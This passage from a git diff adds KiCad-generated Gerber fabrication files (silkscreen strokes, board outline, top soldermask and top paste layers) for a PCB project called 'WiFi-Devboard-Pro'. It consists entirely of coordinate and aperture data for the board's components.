X183065952Y-94521333D01*
|
||||
X183104047Y-94635619D01*
|
||||
X183180238Y-94711809D01*
|
||||
X183294523Y-94749904D01*
|
||||
X183370714Y-94749904D01*
|
||||
X182342142Y-94216571D02*
|
||||
X182342142Y-94749904D01*
|
||||
X182685000Y-94216571D02*
|
||||
X182685000Y-94635619D01*
|
||||
X182646904Y-94711809D01*
|
||||
X182570714Y-94749904D01*
|
||||
X182456428Y-94749904D01*
|
||||
X182380238Y-94711809D01*
|
||||
X182342142Y-94673714D01*
|
||||
X181999285Y-94711809D02*
|
||||
X181923095Y-94749904D01*
|
||||
X181770714Y-94749904D01*
|
||||
X181694523Y-94711809D01*
|
||||
X181656428Y-94635619D01*
|
||||
X181656428Y-94597523D01*
|
||||
X181694523Y-94521333D01*
|
||||
X181770714Y-94483238D01*
|
||||
X181885000Y-94483238D01*
|
||||
X181961190Y-94445142D01*
|
||||
X181999285Y-94368952D01*
|
||||
X181999285Y-94330857D01*
|
||||
X181961190Y-94254666D01*
|
||||
X181885000Y-94216571D01*
|
||||
X181770714Y-94216571D01*
|
||||
X181694523Y-94254666D01*
|
||||
X181427857Y-94216571D02*
|
||||
X181123095Y-94216571D01*
|
||||
X181313571Y-93949904D02*
|
||||
X181313571Y-94635619D01*
|
||||
X181275476Y-94711809D01*
|
||||
X181199285Y-94749904D01*
|
||||
X181123095Y-94749904D01*
|
||||
X180399285Y-94673714D02*
|
||||
X180437380Y-94711809D01*
|
||||
X180551666Y-94749904D01*
|
||||
X180627857Y-94749904D01*
|
||||
X180742142Y-94711809D01*
|
||||
X180818333Y-94635619D01*
|
||||
X180856428Y-94559428D01*
|
||||
X180894523Y-94407047D01*
|
||||
X180894523Y-94292761D01*
|
||||
X180856428Y-94140380D01*
|
||||
X180818333Y-94064190D01*
|
||||
X180742142Y-93988000D01*
|
||||
X180627857Y-93949904D01*
|
||||
X180551666Y-93949904D01*
|
||||
X180437380Y-93988000D01*
|
||||
X180399285Y-94026095D01*
|
||||
X179713571Y-94749904D02*
|
||||
X179713571Y-94330857D01*
|
||||
X179751666Y-94254666D01*
|
||||
X179827857Y-94216571D01*
|
||||
X179980238Y-94216571D01*
|
||||
X180056428Y-94254666D01*
|
||||
X179713571Y-94711809D02*
|
||||
X179789761Y-94749904D01*
|
||||
X179980238Y-94749904D01*
|
||||
X180056428Y-94711809D01*
|
||||
X180094523Y-94635619D01*
|
||||
X180094523Y-94559428D01*
|
||||
X180056428Y-94483238D01*
|
||||
X179980238Y-94445142D01*
|
||||
X179789761Y-94445142D01*
|
||||
X179713571Y-94407047D01*
|
||||
X179218333Y-94749904D02*
|
||||
X179294523Y-94711809D01*
|
||||
X179332619Y-94635619D01*
|
||||
X179332619Y-93949904D01*
|
||||
X178799285Y-94749904D02*
|
||||
X178875476Y-94711809D01*
|
||||
X178913571Y-94635619D01*
|
||||
X178913571Y-93949904D01*
|
||||
X178494523Y-94749904D02*
|
||||
X178494523Y-93949904D01*
|
||||
X178227857Y-94521333D01*
|
||||
X177961190Y-93949904D01*
|
||||
X177961190Y-94749904D01*
|
||||
X177275476Y-94711809D02*
|
||||
X177351666Y-94749904D01*
|
||||
X177504047Y-94749904D01*
|
||||
X177580238Y-94711809D01*
|
||||
X177618333Y-94635619D01*
|
||||
X177618333Y-94330857D01*
|
||||
X177580238Y-94254666D01*
|
||||
X177504047Y-94216571D01*
|
||||
X177351666Y-94216571D01*
|
||||
X177275476Y-94254666D01*
|
||||
X177237380Y-94330857D01*
|
||||
X177237380Y-94407047D01*
|
||||
X177618333Y-94483238D01*
|
||||
X176894523Y-94749904D02*
|
||||
X176894523Y-93949904D01*
|
||||
X176437380Y-94749904D02*
|
||||
X176780238Y-94292761D01*
|
||||
X176437380Y-93949904D02*
|
||||
X176894523Y-94407047D01*
|
||||
X175980238Y-94749904D02*
|
||||
X176056428Y-94711809D01*
|
||||
X176094523Y-94673714D01*
|
||||
X176132619Y-94597523D01*
|
||||
X176132619Y-94368952D01*
|
||||
X176094523Y-94292761D01*
|
||||
X176056428Y-94254666D01*
|
||||
X175980238Y-94216571D01*
|
||||
X175865952Y-94216571D01*
|
||||
X175789761Y-94254666D01*
|
||||
X175751666Y-94292761D01*
|
||||
X175713571Y-94368952D01*
|
||||
X175713571Y-94597523D01*
|
||||
X175751666Y-94673714D01*
|
||||
X175789761Y-94711809D01*
|
||||
X175865952Y-94749904D01*
|
||||
X175980238Y-94749904D01*
|
||||
X175370714Y-94749904D02*
|
||||
X175370714Y-93949904D01*
|
||||
X175294523Y-94445142D02*
|
||||
X175065952Y-94749904D01*
|
||||
X175065952Y-94216571D02*
|
||||
X175370714Y-94521333D01*
|
||||
X174608809Y-94749904D02*
|
||||
X174685000Y-94711809D01*
|
||||
X174723095Y-94673714D01*
|
||||
X174761190Y-94597523D01*
|
||||
X174761190Y-94368952D01*
|
||||
X174723095Y-94292761D01*
|
||||
X174685000Y-94254666D01*
|
||||
X174608809Y-94216571D01*
|
||||
X174494523Y-94216571D01*
|
||||
X174418333Y-94254666D01*
|
||||
X174380238Y-94292761D01*
|
||||
X174342142Y-94368952D01*
|
||||
X174342142Y-94597523D01*
|
||||
X174380238Y-94673714D01*
|
||||
X174418333Y-94711809D01*
|
||||
X174494523Y-94749904D01*
|
||||
X174608809Y-94749904D01*
|
||||
X172742142Y-94749904D02*
|
||||
X172780238Y-94749904D01*
|
||||
X172856428Y-94711809D01*
|
||||
X172970714Y-94597523D01*
|
||||
X173161190Y-94368952D01*
|
||||
X173237380Y-94254666D01*
|
||||
X173275476Y-94140380D01*
|
||||
X173275476Y-94064190D01*
|
||||
X173237380Y-93988000D01*
|
||||
X173161190Y-93949904D01*
|
||||
X173123095Y-93949904D01*
|
||||
X173046904Y-93988000D01*
|
||||
X173008809Y-94064190D01*
|
||||
X173008809Y-94102285D01*
|
||||
X173046904Y-94178476D01*
|
||||
X173085000Y-94216571D01*
|
||||
X173313571Y-94368952D01*
|
||||
X173351666Y-94407047D01*
|
||||
X173389761Y-94483238D01*
|
||||
X173389761Y-94597523D01*
|
||||
X173351666Y-94673714D01*
|
||||
X173313571Y-94711809D01*
|
||||
X173237380Y-94749904D01*
|
||||
X173123095Y-94749904D01*
|
||||
X173046904Y-94711809D01*
|
||||
X173008809Y-94673714D01*
|
||||
X172894523Y-94521333D01*
|
||||
X172856428Y-94407047D01*
|
||||
X172856428Y-94330857D01*
|
||||
X171904047Y-94216571D02*
|
||||
X171599285Y-94216571D01*
|
||||
X171789761Y-93949904D02*
|
||||
X171789761Y-94635619D01*
|
||||
X171751666Y-94711809D01*
|
||||
X171675476Y-94749904D01*
|
||||
X171599285Y-94749904D01*
|
||||
X171332619Y-94749904D02*
|
||||
X171332619Y-94216571D01*
|
||||
X171332619Y-94368952D02*
|
||||
X171294523Y-94292761D01*
|
||||
X171256428Y-94254666D01*
|
||||
X171180238Y-94216571D01*
|
||||
X171104047Y-94216571D01*
|
||||
X170837380Y-94749904D02*
|
||||
X170837380Y-94216571D01*
|
||||
X170837380Y-93949904D02*
|
||||
X170875476Y-93988000D01*
|
||||
X170837380Y-94026095D01*
|
||||
X170799285Y-93988000D01*
|
||||
X170837380Y-93949904D01*
|
||||
X170837380Y-94026095D01*
|
||||
X170494523Y-94711809D02*
|
||||
X170418333Y-94749904D01*
|
||||
X170265952Y-94749904D01*
|
||||
X170189761Y-94711809D01*
|
||||
X170151666Y-94635619D01*
|
||||
X170151666Y-94597523D01*
|
||||
X170189761Y-94521333D01*
|
||||
X170265952Y-94483238D01*
|
||||
X170380238Y-94483238D01*
|
||||
X170456428Y-94445142D01*
|
||||
X170494523Y-94368952D01*
|
||||
X170494523Y-94330857D01*
|
||||
X170456428Y-94254666D01*
|
||||
X170380238Y-94216571D01*
|
||||
X170265952Y-94216571D01*
|
||||
X170189761Y-94254666D01*
|
||||
X169808809Y-94216571D02*
|
||||
X169808809Y-95016571D01*
|
||||
X169808809Y-94254666D02*
|
||||
X169732619Y-94216571D01*
|
||||
X169580238Y-94216571D01*
|
||||
X169504047Y-94254666D01*
|
||||
X169465952Y-94292761D01*
|
||||
X169427857Y-94368952D01*
|
||||
X169427857Y-94597523D01*
|
||||
X169465952Y-94673714D01*
|
||||
X169504047Y-94711809D01*
|
||||
X169580238Y-94749904D01*
|
||||
X169732619Y-94749904D01*
|
||||
X169808809Y-94711809D01*
|
||||
X169161190Y-93949904D02*
|
||||
X168665952Y-93949904D01*
|
||||
X168932619Y-94254666D01*
|
||||
X168818333Y-94254666D01*
|
||||
X168742142Y-94292761D01*
|
||||
X168704047Y-94330857D01*
|
||||
X168665952Y-94407047D01*
|
||||
X168665952Y-94597523D01*
|
||||
X168704047Y-94673714D01*
|
||||
X168742142Y-94711809D01*
|
||||
X168818333Y-94749904D01*
|
||||
X169046904Y-94749904D01*
|
||||
X169123095Y-94711809D01*
|
||||
X169161190Y-94673714D01*
|
||||
X167980238Y-94749904D02*
|
||||
X167980238Y-94330857D01*
|
||||
X168018333Y-94254666D01*
|
||||
X168094523Y-94216571D01*
|
||||
X168246904Y-94216571D01*
|
||||
X168323095Y-94254666D01*
|
||||
X167980238Y-94711809D02*
|
||||
X168056428Y-94749904D01*
|
||||
X168246904Y-94749904D01*
|
||||
X168323095Y-94711809D01*
|
||||
X168361190Y-94635619D01*
|
||||
X168361190Y-94559428D01*
|
||||
X168323095Y-94483238D01*
|
||||
X168246904Y-94445142D01*
|
||||
X168056428Y-94445142D01*
|
||||
X167980238Y-94407047D01*
|
||||
X167599285Y-94749904D02*
|
||||
X167599285Y-94216571D01*
|
||||
X167599285Y-94368952D02*
|
||||
X167561190Y-94292761D01*
|
||||
X167523095Y-94254666D01*
|
||||
X167446904Y-94216571D01*
|
||||
X167370714Y-94216571D01*
|
||||
D11*
|
||||
%TO.C,J3*%
|
||||
X177900000Y-100850000D02*
|
||||
X177900000Y-103350000D01*
|
||||
X152900000Y-100850000D02*
|
||||
X152900000Y-105860000D01*
|
||||
%TO.C,J2*%
|
||||
X137300000Y-100850000D02*
|
||||
X137300000Y-103350000D01*
|
||||
X117300000Y-100850000D02*
|
||||
X117300000Y-105860000D01*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -0,0 +1,65 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
|
||||
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
|
||||
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Profile,NP*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%TA.AperFunction,Profile*%
|
||||
%ADD10C,0.100000*%
|
||||
%TD*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
X111130000Y-108940000D02*
|
||||
G75*
|
||||
G03*
|
||||
X112130000Y-109940000I1000000J0D01*
|
||||
G01*
|
||||
X184090000Y-108940000D02*
|
||||
X184090000Y-102390000D01*
|
||||
X184090000Y-97390000D02*
|
||||
X184090000Y-90840000D01*
|
||||
X128365000Y-89840000D02*
|
||||
X112130000Y-89840000D01*
|
||||
X183090000Y-109940000D02*
|
||||
G75*
|
||||
G03*
|
||||
X184090000Y-108940000I0J1000000D01*
|
||||
G01*
|
||||
X183090000Y-89840000D02*
|
||||
X155765000Y-89840000D01*
|
||||
X128365000Y-109940000D02*
|
||||
X155765000Y-109940000D01*
|
||||
X112130000Y-89840000D02*
|
||||
G75*
|
||||
G03*
|
||||
X111130000Y-90840000I0J-1000000D01*
|
||||
G01*
|
||||
X111130000Y-90840000D02*
|
||||
X111130000Y-108940000D01*
|
||||
X187090000Y-102390000D02*
|
||||
G75*
|
||||
G03*
|
||||
X187090000Y-97390000I0J2500000D01*
|
||||
G01*
|
||||
X184090000Y-90840000D02*
|
||||
G75*
|
||||
G03*
|
||||
X183090000Y-89840000I-1000000J0D01*
|
||||
G01*
|
||||
X184090000Y-102390000D02*
|
||||
X187090000Y-102390000D01*
|
||||
X128385000Y-89840000D02*
|
||||
X155765000Y-89840000D01*
|
||||
X155765000Y-109940000D02*
|
||||
X183090000Y-109940000D01*
|
||||
X187090000Y-97390000D02*
|
||||
X184090000Y-97390000D01*
|
||||
X112130000Y-109940000D02*
|
||||
X128365000Y-109940000D01*
|
||||
M02*
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,381 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
|
||||
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
|
||||
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Soldermask,Top*%
|
||||
%TF.FilePolarity,Negative*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10R,0.600000X0.750000*%
|
||||
%ADD11R,0.750000X0.600000*%
|
||||
%ADD12R,0.600000X0.620000*%
|
||||
%ADD13R,0.650000X1.200000*%
|
||||
%ADD14C,1.700000*%
|
||||
%ADD15O,1.700000X1.700000*%
|
||||
%ADD16R,0.620000X0.600000*%
|
||||
%ADD17R,0.690000X0.720000*%
|
||||
%ADD18R,1.100000X0.700000*%
|
||||
%ADD19R,0.930000X0.900000*%
|
||||
%ADD20R,0.780000X1.050000*%
|
||||
%ADD21R,3.330000X0.700000*%
|
||||
%ADD22R,2.800000X0.860000*%
|
||||
%ADD23R,1.830000X1.140000*%
|
||||
%ADD24R,0.700000X0.700000*%
|
||||
%ADD25R,0.720000X0.690000*%
|
||||
%ADD26R,0.900000X1.500000*%
|
||||
%ADD27R,1.500000X0.900000*%
|
||||
%ADD28R,0.900000X0.900000*%
|
||||
%ADD29R,0.500000X0.900000*%
|
||||
%ADD30R,0.650000X2.770000*%
|
||||
%ADD31R,0.950000X0.800000*%
|
||||
%ADD32R,1.050000X0.650000*%
|
||||
%ADD33R,1.850000X0.900000*%
|
||||
%ADD34R,1.850000X3.200000*%
|
||||
%ADD35C,2.200000*%
|
||||
%ADD36R,0.400000X1.000000*%
|
||||
%ADD37R,0.620000X0.640000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.C,R10*%
|
||||
X134960000Y-97140000D03*
|
||||
X134960000Y-96040000D03*
|
||||
%TD*%
|
||||
D11*
|
||||
%TO.C,R15*%
|
||||
X126500000Y-96950000D03*
|
||||
X127600000Y-96950000D03*
|
||||
%TD*%
|
||||
%TO.C,R6*%
|
||||
X150660000Y-104890000D03*
|
||||
X149560000Y-104890000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,C7*%
|
||||
X117000000Y-92270000D03*
|
||||
X116080000Y-92270000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R5*%
|
||||
X115300000Y-91350000D03*
|
||||
X115300000Y-92450000D03*
|
||||
%TD*%
|
||||
D13*
|
||||
%TO.C,IC2*%
|
||||
X128460000Y-92600000D03*
|
||||
X126540000Y-92600000D03*
|
||||
X127500000Y-94700000D03*
|
||||
%TD*%
|
||||
%TO.C,IC4*%
|
||||
X138210000Y-102375000D03*
|
||||
X136290000Y-102375000D03*
|
||||
X137250000Y-104475000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,J4*%
|
||||
X129370000Y-109940000D03*
|
||||
D15*
|
||||
X131910000Y-109940000D03*
|
||||
X134450000Y-109940000D03*
|
||||
X136990000Y-109940000D03*
|
||||
X139530000Y-109940000D03*
|
||||
X142070000Y-109940000D03*
|
||||
X144610000Y-109940000D03*
|
||||
X147150000Y-109940000D03*
|
||||
X149690000Y-109940000D03*
|
||||
X152230000Y-109940000D03*
|
||||
X154770000Y-109940000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,C11*%
|
||||
X136225000Y-97060000D03*
|
||||
X136225000Y-96140000D03*
|
||||
%TD*%
|
||||
D17*
|
||||
%TO.C,C2*%
|
||||
X181985000Y-90350000D03*
|
||||
X181065000Y-90350000D03*
|
||||
%TD*%
|
||||
D18*
|
||||
%TO.C,J6*%
|
||||
X112460000Y-102230000D03*
|
||||
X112460000Y-101130000D03*
|
||||
X112460000Y-100030000D03*
|
||||
X112460000Y-98930000D03*
|
||||
X112460000Y-97830000D03*
|
||||
X112460000Y-96730000D03*
|
||||
X112460000Y-95630000D03*
|
||||
X112460000Y-94530000D03*
|
||||
D19*
|
||||
X124925000Y-104020000D03*
|
||||
D20*
|
||||
X125000000Y-99755000D03*
|
||||
D21*
|
||||
X123725000Y-93370000D03*
|
||||
D22*
|
||||
X112960000Y-93450000D03*
|
||||
D23*
|
||||
X112475000Y-106110000D03*
|
||||
D21*
|
||||
X123725000Y-106330000D03*
|
||||
%TD*%
|
||||
D24*
|
||||
%TO.C,LED1*%
|
||||
X155950000Y-98885000D03*
|
||||
X154850000Y-98885000D03*
|
||||
X154850000Y-100715000D03*
|
||||
X155950000Y-100715000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R4*%
|
||||
X117820000Y-91350000D03*
|
||||
X117820000Y-92450000D03*
|
||||
%TD*%
|
||||
D25*
|
||||
%TO.C,C6*%
|
||||
X133100000Y-99040000D03*
|
||||
X133100000Y-99960000D03*
|
||||
%TD*%
|
||||
D26*
|
||||
%TO.C,IC1*%
|
||||
X176560000Y-91100000D03*
|
||||
X175290000Y-91100000D03*
|
||||
X174020000Y-91100000D03*
|
||||
X172750000Y-91100000D03*
|
||||
X171480000Y-91100000D03*
|
||||
X170210000Y-91100000D03*
|
||||
X168940000Y-91100000D03*
|
||||
X167670000Y-91100000D03*
|
||||
X166400000Y-91100000D03*
|
||||
X165130000Y-91100000D03*
|
||||
X163860000Y-91100000D03*
|
||||
X162590000Y-91100000D03*
|
||||
X161320000Y-91100000D03*
|
||||
X160050000Y-91100000D03*
|
||||
D27*
|
||||
X158800000Y-94135000D03*
|
||||
X158800000Y-95405000D03*
|
||||
X158800000Y-96675000D03*
|
||||
X158800000Y-97945000D03*
|
||||
X158800000Y-99215000D03*
|
||||
X158800000Y-100485000D03*
|
||||
X158800000Y-101755000D03*
|
||||
X158800000Y-103025000D03*
|
||||
X158800000Y-104295000D03*
|
||||
X158800000Y-105565000D03*
|
||||
D26*
|
||||
X160050000Y-108600000D03*
|
||||
X161320000Y-108600000D03*
|
||||
X162590000Y-108600000D03*
|
||||
X163860000Y-108600000D03*
|
||||
X165130000Y-108600000D03*
|
||||
X166400000Y-108600000D03*
|
||||
X167670000Y-108600000D03*
|
||||
X168940000Y-108600000D03*
|
||||
X170210000Y-108600000D03*
|
||||
X171480000Y-108600000D03*
|
||||
X172750000Y-108600000D03*
|
||||
X174020000Y-108600000D03*
|
||||
X175290000Y-108600000D03*
|
||||
X176560000Y-108600000D03*
|
||||
D28*
|
||||
X170240000Y-96950000D03*
|
||||
X168840000Y-96950000D03*
|
||||
X167440000Y-96950000D03*
|
||||
X167440000Y-98350000D03*
|
||||
X167440000Y-99750000D03*
|
||||
X168840000Y-99750000D03*
|
||||
X170240000Y-99750000D03*
|
||||
X170240000Y-98350000D03*
|
||||
X168840000Y-98350000D03*
|
||||
%TD*%
|
||||
D29*
|
||||
%TO.C,LED4*%
|
||||
X127200000Y-99100000D03*
|
||||
X128500000Y-99100000D03*
|
||||
%TD*%
|
||||
D11*
|
||||
%TO.C,R2*%
|
||||
X155950000Y-97430000D03*
|
||||
X154850000Y-97430000D03*
|
||||
%TD*%
|
||||
D30*
|
||||
%TO.C,J1*%
|
||||
X143860000Y-101665000D03*
|
||||
X143860000Y-98135000D03*
|
||||
X145130000Y-101665000D03*
|
||||
X145130000Y-98135000D03*
|
||||
X146400000Y-101665000D03*
|
||||
X146400000Y-98135000D03*
|
||||
X147670000Y-101665000D03*
|
||||
X147670000Y-98135000D03*
|
||||
X148940000Y-101665000D03*
|
||||
X148940000Y-98135000D03*
|
||||
%TD*%
|
||||
D25*
|
||||
%TO.C,C5*%
|
||||
X126100000Y-101790000D03*
|
||||
X126100000Y-102710000D03*
|
||||
%TD*%
|
||||
D13*
|
||||
%TO.C,IC5*%
|
||||
X141060000Y-105000000D03*
|
||||
X139140000Y-105000000D03*
|
||||
X140100000Y-107100000D03*
|
||||
%TD*%
|
||||
D31*
|
||||
%TO.C,LED2*%
|
||||
X142800000Y-93050000D03*
|
||||
X142800000Y-94650000D03*
|
||||
%TD*%
|
||||
D32*
|
||||
%TO.C,S2*%
|
||||
X152075000Y-104875000D03*
|
||||
X156225000Y-104875000D03*
|
||||
X152075000Y-107025000D03*
|
||||
X156225000Y-107025000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,C4*%
|
||||
X154930000Y-102150000D03*
|
||||
X155850000Y-102150000D03*
|
||||
%TD*%
|
||||
D33*
|
||||
%TO.C,IC3*%
|
||||
X134200000Y-106700000D03*
|
||||
X134200000Y-104400000D03*
|
||||
X134200000Y-102100000D03*
|
||||
D34*
|
||||
X128000000Y-104400000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,C3*%
|
||||
X179065000Y-90300000D03*
|
||||
X179985000Y-90300000D03*
|
||||
%TD*%
|
||||
D35*
|
||||
%TO.C,*%
|
||||
X187100000Y-99900000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,C8*%
|
||||
X129290000Y-97080000D03*
|
||||
X129290000Y-96160000D03*
|
||||
%TD*%
|
||||
D36*
|
||||
%TO.C,U3*%
|
||||
X138250000Y-92600000D03*
|
||||
X137600000Y-92600000D03*
|
||||
X136950000Y-92600000D03*
|
||||
X136950000Y-94600000D03*
|
||||
X137600000Y-94600000D03*
|
||||
X138250000Y-94600000D03*
|
||||
%TD*%
|
||||
D32*
|
||||
%TO.C,S1*%
|
||||
X152075000Y-92725000D03*
|
||||
X156225000Y-92725000D03*
|
||||
X152075000Y-94875000D03*
|
||||
X156225000Y-94875000D03*
|
||||
%TD*%
|
||||
D11*
|
||||
%TO.C,R1*%
|
||||
X149700000Y-93800000D03*
|
||||
X150800000Y-93800000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,C9*%
|
||||
X134420000Y-99050000D03*
|
||||
X134420000Y-99970000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R8*%
|
||||
X131610000Y-97150000D03*
|
||||
X131610000Y-96050000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,J5*%
|
||||
X129370000Y-89840000D03*
|
||||
D15*
|
||||
X131910000Y-89840000D03*
|
||||
X134450000Y-89840000D03*
|
||||
X136990000Y-89840000D03*
|
||||
X139530000Y-89840000D03*
|
||||
X142070000Y-89840000D03*
|
||||
X144610000Y-89840000D03*
|
||||
X147150000Y-89840000D03*
|
||||
X149690000Y-89840000D03*
|
||||
X152230000Y-89840000D03*
|
||||
X154770000Y-89840000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R12*%
|
||||
X138400000Y-97150000D03*
|
||||
X138400000Y-96050000D03*
|
||||
%TD*%
|
||||
D37*
|
||||
%TO.C,C1*%
|
||||
X150690000Y-94690000D03*
|
||||
X149770000Y-94690000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R11*%
|
||||
X137200000Y-97150000D03*
|
||||
X137200000Y-96050000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,C10*%
|
||||
X133000000Y-97085000D03*
|
||||
X133000000Y-96165000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R13*%
|
||||
X144350000Y-93300000D03*
|
||||
X144350000Y-94400000D03*
|
||||
%TD*%
|
||||
%TO.C,R14*%
|
||||
X147400000Y-93250000D03*
|
||||
X147400000Y-94350000D03*
|
||||
%TD*%
|
||||
D36*
|
||||
%TO.C,U2*%
|
||||
X134800000Y-92600000D03*
|
||||
X134150000Y-92600000D03*
|
||||
X133500000Y-92600000D03*
|
||||
X133500000Y-94600000D03*
|
||||
X134150000Y-94600000D03*
|
||||
X134800000Y-94600000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R9*%
|
||||
X133790000Y-97140000D03*
|
||||
X133790000Y-96040000D03*
|
||||
%TD*%
|
||||
D36*
|
||||
%TO.C,U1*%
|
||||
X131450000Y-92610000D03*
|
||||
X130800000Y-92610000D03*
|
||||
X130150000Y-92610000D03*
|
||||
X130150000Y-94610000D03*
|
||||
X130800000Y-94610000D03*
|
||||
X131450000Y-94610000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R3*%
|
||||
X119900000Y-91360000D03*
|
||||
X119900000Y-92460000D03*
|
||||
%TD*%
|
||||
%TO.C,R7*%
|
||||
X130410000Y-97160000D03*
|
||||
X130410000Y-96060000D03*
|
||||
%TD*%
|
||||
D31*
|
||||
%TO.C,LED3*%
|
||||
X145900000Y-93050000D03*
|
||||
X145900000Y-94650000D03*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -0,0 +1,343 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
|
||||
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
|
||||
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Paste,Top*%
|
||||
%TF.FilePolarity,Positive*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10R,0.600000X0.750000*%
|
||||
%ADD11R,0.750000X0.600000*%
|
||||
%ADD12R,0.600000X0.620000*%
|
||||
%ADD13R,0.650000X1.200000*%
|
||||
%ADD14R,0.620000X0.600000*%
|
||||
%ADD15R,0.690000X0.720000*%
|
||||
%ADD16R,1.100000X0.700000*%
|
||||
%ADD17R,0.930000X0.900000*%
|
||||
%ADD18R,0.780000X1.050000*%
|
||||
%ADD19R,3.330000X0.700000*%
|
||||
%ADD20R,2.800000X0.860000*%
|
||||
%ADD21R,1.830000X1.140000*%
|
||||
%ADD22R,0.700000X0.700000*%
|
||||
%ADD23R,0.720000X0.690000*%
|
||||
%ADD24R,0.900000X1.500000*%
|
||||
%ADD25R,1.500000X0.900000*%
|
||||
%ADD26R,0.900000X0.900000*%
|
||||
%ADD27R,0.500000X0.900000*%
|
||||
%ADD28R,0.650000X2.770000*%
|
||||
%ADD29R,0.950000X0.800000*%
|
||||
%ADD30R,1.050000X0.650000*%
|
||||
%ADD31R,1.850000X0.900000*%
|
||||
%ADD32R,1.850000X3.200000*%
|
||||
%ADD33R,0.400000X1.000000*%
|
||||
%ADD34R,0.620000X0.640000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.C,R10*%
|
||||
X134960000Y-97140000D03*
|
||||
X134960000Y-96040000D03*
|
||||
%TD*%
|
||||
D11*
|
||||
%TO.C,R15*%
|
||||
X126500000Y-96950000D03*
|
||||
X127600000Y-96950000D03*
|
||||
%TD*%
|
||||
%TO.C,R6*%
|
||||
X150660000Y-104890000D03*
|
||||
X149560000Y-104890000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,C7*%
|
||||
X117000000Y-92270000D03*
|
||||
X116080000Y-92270000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R5*%
|
||||
X115300000Y-91350000D03*
|
||||
X115300000Y-92450000D03*
|
||||
%TD*%
|
||||
D13*
|
||||
%TO.C,IC2*%
|
||||
X128460000Y-92600000D03*
|
||||
X126540000Y-92600000D03*
|
||||
X127500000Y-94700000D03*
|
||||
%TD*%
|
||||
%TO.C,IC4*%
|
||||
X138210000Y-102375000D03*
|
||||
X136290000Y-102375000D03*
|
||||
X137250000Y-104475000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,C11*%
|
||||
X136225000Y-97060000D03*
|
||||
X136225000Y-96140000D03*
|
||||
%TD*%
|
||||
D15*
|
||||
%TO.C,C2*%
|
||||
X181985000Y-90350000D03*
|
||||
X181065000Y-90350000D03*
|
||||
%TD*%
|
||||
D16*
|
||||
%TO.C,J6*%
|
||||
X112460000Y-102230000D03*
|
||||
X112460000Y-101130000D03*
|
||||
X112460000Y-100030000D03*
|
||||
X112460000Y-98930000D03*
|
||||
X112460000Y-97830000D03*
|
||||
X112460000Y-96730000D03*
|
||||
X112460000Y-95630000D03*
|
||||
X112460000Y-94530000D03*
|
||||
D17*
|
||||
X124925000Y-104020000D03*
|
||||
D18*
|
||||
X125000000Y-99755000D03*
|
||||
D19*
|
||||
X123725000Y-93370000D03*
|
||||
D20*
|
||||
X112960000Y-93450000D03*
|
||||
D21*
|
||||
X112475000Y-106110000D03*
|
||||
D19*
|
||||
X123725000Y-106330000D03*
|
||||
%TD*%
|
||||
D22*
|
||||
%TO.C,LED1*%
|
||||
X155950000Y-98885000D03*
|
||||
X154850000Y-98885000D03*
|
||||
X154850000Y-100715000D03*
|
||||
X155950000Y-100715000D03*
|
||||
%TD*%
|
||||
